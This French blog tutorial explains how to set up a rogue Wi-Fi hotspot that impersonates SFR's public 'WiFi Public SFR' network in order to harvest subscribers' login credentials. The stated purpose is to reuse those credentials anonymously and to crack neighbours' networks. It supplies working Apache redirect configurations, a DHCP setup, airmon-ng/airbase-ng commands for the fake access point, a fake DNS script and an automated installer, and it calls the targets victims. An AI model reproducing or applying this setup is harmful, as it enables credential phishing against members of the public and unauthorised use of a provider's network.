Faire un rogue hotspot SFR

Casser le réseau WiFi de son voisin c'est bien... Quand on y arrive. Quite à se déplacer dans le quartier jusqu'à trouver un type qui tourne encore avec WEP (et dont la clé est 123456, vérifique :p)
Mais ça devient plus ardu quand on a affaire à du WPA. Chopper le handshake n'est pas un problème, quitte à se placer avec son laptop devant la porte d'entrée d'inconnus :D, mais trouver la bonne clé ça devient hard vu que la plupart du temps c'est une clé par défaut impossible à casser :'(

Il y a alors une solution : profiter des HotSpots qui eux se multiplient de plus en plus. Seul point noir : pour utiliser un hotspot de chez untel, il faut avoir les identifiants d'un compte enregistré chez untel.
Et c'est là qu'intervient notre rogue hotspot : Créer un réseau WiFi accessible à tous mais pour lequel toute tentative d'accès à Internet redirigera vers une page de connexion qui enregistrera les identifiants. Identifiants qui nous ouvrirons les portes des hotspots de chez untel à gogo :) Et puis question anonymat c'est le top. Il suffira de changer régulièrement son adresse MAC (pour les plus paranos) et de hotspot... vu que le seul vrai identifiant c'est les logins récupérés on est tranquille.

Par contre il faut que quelqu'un dans le coin ait déjà envie de se connecter via un hotspot et là il faut mieux être dans un endroit surpeuplé ou alors être très patient...

Tour d'horizon de la mise en place

Toutes les opérations sont destinées à un environnement BackTrack 5. Bien sûr ça peut être adapté pour votre distrib. Le script automatique final (install.bin) est lui uniquement dédié à BT5.
Les fichiers correspondant à cet article sont situés dans data/hotspot

Je n'entre pas dans les détails de la mise en place de la page web qui demandera les identifiants. Il suffit de pomper les pages et les images d'un vrai hotspot et de les re-servir. Pour le coup, Opera est le plus adapté avec son option d'enregistrement "Fichier HTML avec des images"

Pour le reste voici de quoi on a besoin :

Vous devez déjà voir vers quoi on arrive. La personne se connecte au WiFi, se voit donner une adresse IP. Quand elle tente d'accèder à un site web, le DNS lui renvoit notre IP sur le réseau (mettons 192.168.1.1).
Mais c'est pas très propre car la page de login s'affichera dans le navigateur avec le nom DNS du site. On va donc configurer Apache pour qu'il redirige vers hotspot.neuf.fr qui sera pourtant le même serveur.
Idem pour la page demandée : la victime aura peut-être son navigateur qui ira vers www.truc.com/forum/. Dans ce cas là il faut aussi faire en sorte que une demande d'une page non existante sur notre serveur (ici /forum) renvoit vers notre page de login.

Configuration d'Apache

Apache gère les sites qu'il gère via le dossier /etc/apache2/sites-available/. On va d'abord créer un fichier default qui redirigera toutes les requêtes correspondant à un nom DNS autre que le hotspot. Voici son contenu

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www
        <Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all
        </Directory>
        ErrorLog /var/log/apache2/error.log
        Redirect permanent / "http://hotspot.neuf.fr/"
        LogLevel warn
        CustomLog /var/log/apache2/access.log combined
</VirtualHost>

On répète l'opération mais cette fois pour les requêtes HTTPS (fichier default-ssl). Par contre comme il n'y aura pas de relais Internet sur notre rogue hotspot, les CAs ne seront pas joignables et l'utilisateur aura un avertissement concernant le certifcat :( Voici les directives :

<IfModule mod_ssl.c>
<VirtualHost *:443>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www
        <Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all
        </Directory>
        ErrorLog /var/log/apache2/error.log
        Redirect permanent / "http://hotspot.neuf.fr/"
        LogLevel warn
        CustomLog /var/log/apache2/ssl_access.log combined
        SSLEngine on
        SSLCertificateFile    /etc/ssl/certs/ssl-cert-snakeoil.pem
        SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
        BrowserMatch "MSIE [2-6]" \
                nokeepalive ssl-unclean-shutdown \
                downgrade-1.0 force-response-1.0
        BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
</VirtualHost>
</IfModule>

Enfin il faut le fichier de conf de notre hotspot. On le nommera simplement hotspot

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        ServerName hotspot.neuf.fr
        DocumentRoot /var/www
        <Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all
        </Directory>
        ErrorDocument 404 "/404.php"
        ErrorLog /var/log/apache2/error.log
        LogLevel warn
        CustomLog /var/log/apache2/access.log combined
</VirtualHost>

Comme vous le voyez, les pages et scripts web sont à placer dans /var/www.

Mise en place de l'interface réseau

On va commencer par installer le serveur DHCP. Pour cela il faut avoir au préalable récupéré le .deb. On a pris dhcp3-server_3.1.3-2ubuntu3.2_i386.deb qui est accessible à cette adresse. L'install se fera classiquement en root avec dpkg -i dhcp3-server_3.1.3-2ubuntu3.2_i386.deb.

Ensuite on définit les régles de notre réseau via /etc/dhcp3/dhcpd.conf (pour plus d'infos voir la page de manuelle ou Google) :

ddns-update-style ad-hoc;

default-lease-time 600;
max-lease-time 7200;

authoritative;

subnet 192.168.1.0 netmask 255.255.255.0 {
  option subnet-mask 255.255.255.0;
  option routers 192.168.1.1;
  range 192.168.1.10 192.168.1.20;
  option domain-name-servers 192.168.1.1;
  option broadcast-address 192.168.1.255;
}

L'install de DHCP toute à l'heure fait démarrer le serveur... On l'arrête comme on a changé le fichier de conf : /etc/init.d/dhcp3-server stop & killall dhclient3

Etape suivante : Mettre en place l'interface WiFI ! Car pour le moment on n'a fait que changer des fichiers de conf.

echo "[!] Mise en place du hotspot..."
airmon-ng start wlan0
airbase-ng -e "WiFi Public SFR" -c 11 mon0&
sleep 5
ifconfig at0 up
ifconfig at0 192.168.1.1 netmask 255.255.255.0

Ici on passe l'interface wlan0 en mode monitor puis on associe un SSID à la nouvelle interface mon0. Il faudrait placer le SSID le plus crédible possible... Toutefois depuis une machine Windows si plusieurs réseaux accessibles ont le même SSID, seul celui qui a le plus fort signal est affiché. Conclusion : soit vous avez une carte wifi surpuissante, soit vous trichez en spécifiant un SSID proche mais différent ;-) Dans tous les cas le tri se fait toujours par force de signal.

On peut maintenant relancer notre serveur DHCP : dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /tmp/plop.pid at0

Mise en place d'Apache : finalisation et lancement

Il faut activer les sites dans le config globale d'Apache ainsi que les modules dont on a besoin :

echo "192.168.1.1 hotspot.neuf.fr" >> /etc/hosts
a2enmod ssl
a2ensite default-ssl
a2ensite hotspot
/etc/init.d/apache2 start

Mise en place du serveur DNS

Après quelques tests, notre préférence est allée au script fakedns.pl de 0x90.co.uk (blog sympa). Script à éditer selon nos attentes puis à exécuter : chmod +x fakedns.pl; ./fakedns.pl&

Maintenant tout est en place... plus qu'à attendre que la victime morde à l'hameçon :) Nous fournissons un script install.bin qui fait toutes les opérations sur BT5.